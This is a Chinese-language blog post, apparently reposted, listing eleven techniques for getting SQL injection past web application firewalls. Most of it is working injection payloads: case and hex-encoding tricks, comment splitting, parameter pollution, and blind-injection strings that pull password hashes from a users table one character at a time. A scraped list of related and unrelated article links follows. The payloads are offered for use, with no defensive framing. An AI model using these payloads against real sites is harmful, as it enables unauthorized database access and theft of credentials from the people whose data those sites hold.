目录

1.大小写绕过

2.简单编码绕过

3.注释绕过

4.分隔重写绕过

5.Http参数污染(HPP)

6.使用逻辑运算符 or /and绕过

7.比较操作符替换

8.同功能函数替换

9.盲注无需or和and

10.加括号

11.缓冲区溢出绕过

1. 大小写绕过
这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等。绕过

2.  简单编码绕过
比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55 也就是U的16进制编码来代替U, union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。。

也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。

3.  注释绕过
这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询

/?id=1+union+select+1,2,3/*

比如对于上面这条查询,WAF过滤了一次union和select,那么我们在之前在写一个注释的语句,让他把注释里面的过滤掉,,并不影响我们的查询。。
所以绕过语句就是:

/?id=1/*union*/union/*select*/select+1,2,3/*

还有一种和注释有关的绕过:
比如

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

可以看到,只要我们把敏感词放到注释里面,注意,前面要加一个!

4.   分隔重写绕过
还是上面的例子,适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果

/?id=1+un/**/ion+sel/**/ect+1,2,3–

至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了

?id=1 ununionion select 1,2,3–

5.   Http参数污染(HPP)
比如我们有这样的语句:

/?id=1 union select+1,2,3+from+users+where+id=1–

我们可以重复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号

/?id=1 union select+1&id=2,3+from+users+where+id=1–

这种情况成功的条件比较多,取决于具体的WAF实现。。

再给出一个例子说明用法

/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users–

具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的:

select * from table where a=”.$_GET['a'].” and b=”.$_GET['b'].” limit “.$_GET['c'];

那我们可以构造这样的注入语句:

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users–

最终解析为:

select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users–

可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是也可以一试。

6. 使用逻辑运算符 or /and绕过

/?id=1+OR+0×50=0×50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

顺便解释一下第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录,比如是admin,
然后mid(上一句),1,1就是取admin的第一个字符,也就是a,
lower(上一句)就是把字符转换为小写,
然后ascii就是把a转换成ascii码,看等不等于74.

7.  比较操作符替换
包括!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过,
比如上一个例子,要判断是不是74,假设=被过滤,那么我们可以判断是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都会忘了这个。

8.  同功能函数替换
Substring()可以用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换
Benchmark() 可以用sleep()来替换,这两个使用在基于延时的盲注中,有机会给大家介绍
如果连这些都屏蔽了,还有一种新的方法

substring((select ‘password’),1,1) = 0×70
substr((select ‘password’),1,1) = 0×70
mid((select ‘password’),1,1) = 0×70

比如这三条,都是从password里判断第一个字符的值,可以用

strcmp(left(‘password’,1), 0×69) = 1
strcmp(left(‘password’,1), 0×70) = 0
strcmp(left(‘password’,1), 0×71) = -1

来替换,left用来取字符串左起1位的值,strcmp用来比较两个值,如果比较结果相等就为0,左边小的话就为-1,否则为1
还有我前几篇说过的group_concat 和concat和concat_ws也可以互相替换

9.    盲注无需or和and
比如有这样一个注入点:

index.php?uid=123

and or 被过滤了,其实有一种更直接的方法,我们直接修改123为我们的语句生成的,

index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0×42)+123

123的时候页面是正确的,我们现在在盲猜hash的第一位,如果第一位等于0×42也就是B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是B,就这样猜,不用and 和or了。。

10. 加括号

/?id=1+union+(select+1,2+from+users)

比如,上面这一条被WAF拦截了。可以试试加一些括号

/?id=1+union+(select+1,2+from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select’1′,concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0×50=0×50)

最后,个人能力毕竟有限,有些也一时想不起,想起来的话再补充。同时欢迎大家指正,补充。

11.缓冲区溢出绕过
刚刚写着把这个给忘了。这个是从国外一个博客看到的。

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般要求1000个以上

SQL注入中的WAF绕过技术的更多相关文章

  1. SQL注入中的WAF绕过

    1.大小写绕过 这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等绕过. 2.简单编码绕过 比如WAF检测关键字,那么我们让他检测不到就可以了. ...

  2. [转]高级SQL注入:混淆和绕过

    ############# [0×00] – 简介[0×01] – 过滤规避(Mysql)[0x01a] – 绕过函数和关键词的过滤[0x01b] – 绕过正则表达式过滤[0×02] – 常见绕过技术 ...

  3. SQL注入的优化和绕过

    作者:Arizona 原文来自:https://bbs.ichunqiu.com/thread-43169-1-1.html 0×00 ~ 介绍 SQL注入毫无疑问是最危险的Web漏洞之一,因为我们将 ...

  4. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  5. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  6. Sql注入中连接字符串常用函数

    在select数据时,我们往往需要将数据进行连接后进行回显.很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数.在sqli中,常见的字符串连接函数有concat(),group_ ...

  7. 【sql注入】浅谈sql注入中的Post注入

    [sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在 ...

  8. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  9. 关于SQL注入中编码问题的疑问

    提到SQL注入的绕过,编码是其中最普通的一种方法,最常用的URL编码.之前一直有个疑问,编码与未编码到底有哪些地方存在区别? 以下是本人自己对URL编码的一些见解,可能有错误的地方欢迎大佬们指正. 什 ...

随机推荐

  1. TSQL基础(二)

    over() 开窗函数 排名函数必须和over()一起使用,所以先了解over(). OVER 子句定义查询结果集内的窗口或用户指定的行集. 然后,开窗函数将计算窗口中每一行的值. 您可以将 OVER ...

  2. Swift常量和变量以及命名规范

    我们在上一章中介绍了如何使用Swift编写一个HelloWorld小程序,其中就用到了变量.常量和变量是构成表达式的重要组成部分.常量在声明和初始化变量时,在标识符的前面加上关键字let,就可以把该变 ...

  3. (转)linux TOP命令各参数详解【转载】

    实时监控或查看系统资源使用情况的工具——TOP top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器. 下面详细介绍它的使用方法: ( ...

  4. Powerful Sleep(神奇的睡眠-睡眠生物钟的秘密:如何睡得更少却睡得更好)阅读笔记

    睡眠机制 我们活着的时候,大脑会产生脑电波.脑电图仪器通过贴在人头上的一些电极读出脑电波的活动,然后把活动用图表显示出来. 睡眠过程可以分为5个过程,划分依据与大脑发出的脑电波类型. 当人清醒时,大脑 ...

  5. ubuntu后台配置无线网络

    一.静态配置: 1.编辑 /etc/network/interfaces: auto loiface lo inet loopback auto wlan0iface wlan0 inet stati ...

  6. get与post区别

    在Ajax原理中,HTTP请求方法:get——用于获取数据(e.g. 浏览帖子):post——用于上传数据(e.g. 用户注册,上传图片) get 是在url里传数据,但这样做的安全性很差,并且容量不 ...

  7. angularJs--<ui-select>

    显示: ng-model里面的变量 如果为1,会去 ui-select-choices 里找这个idea数组,然后把数组对应name字段的值,交给 ui-select-match里面显示,$selec ...

  8. discuz X3.2邮箱非必填

    最近有个需求是:邮箱非必答,但是X3.2是邮箱必填: 找到资料:http://www.51php.com/discuz/17147.html 但是修改后不起作用!提示‘Email 地址无效’! 用fi ...

  9. Java语法糖

    1.创建数组:String[] s = new String[]{"1","2","3"};//这种方法可以在不指定数组元素数量的情况下生成 ...

  10. ASP.NET工具

    每个开发人员现在应该下载的十种必备工具 发布日期: 7/20/2004 | 更新日期: 7/20/2004 本文自发布以来已经增加了新信息. 请参阅下面的编辑更新. 本文讨论: • 用于编写单元测试的 ...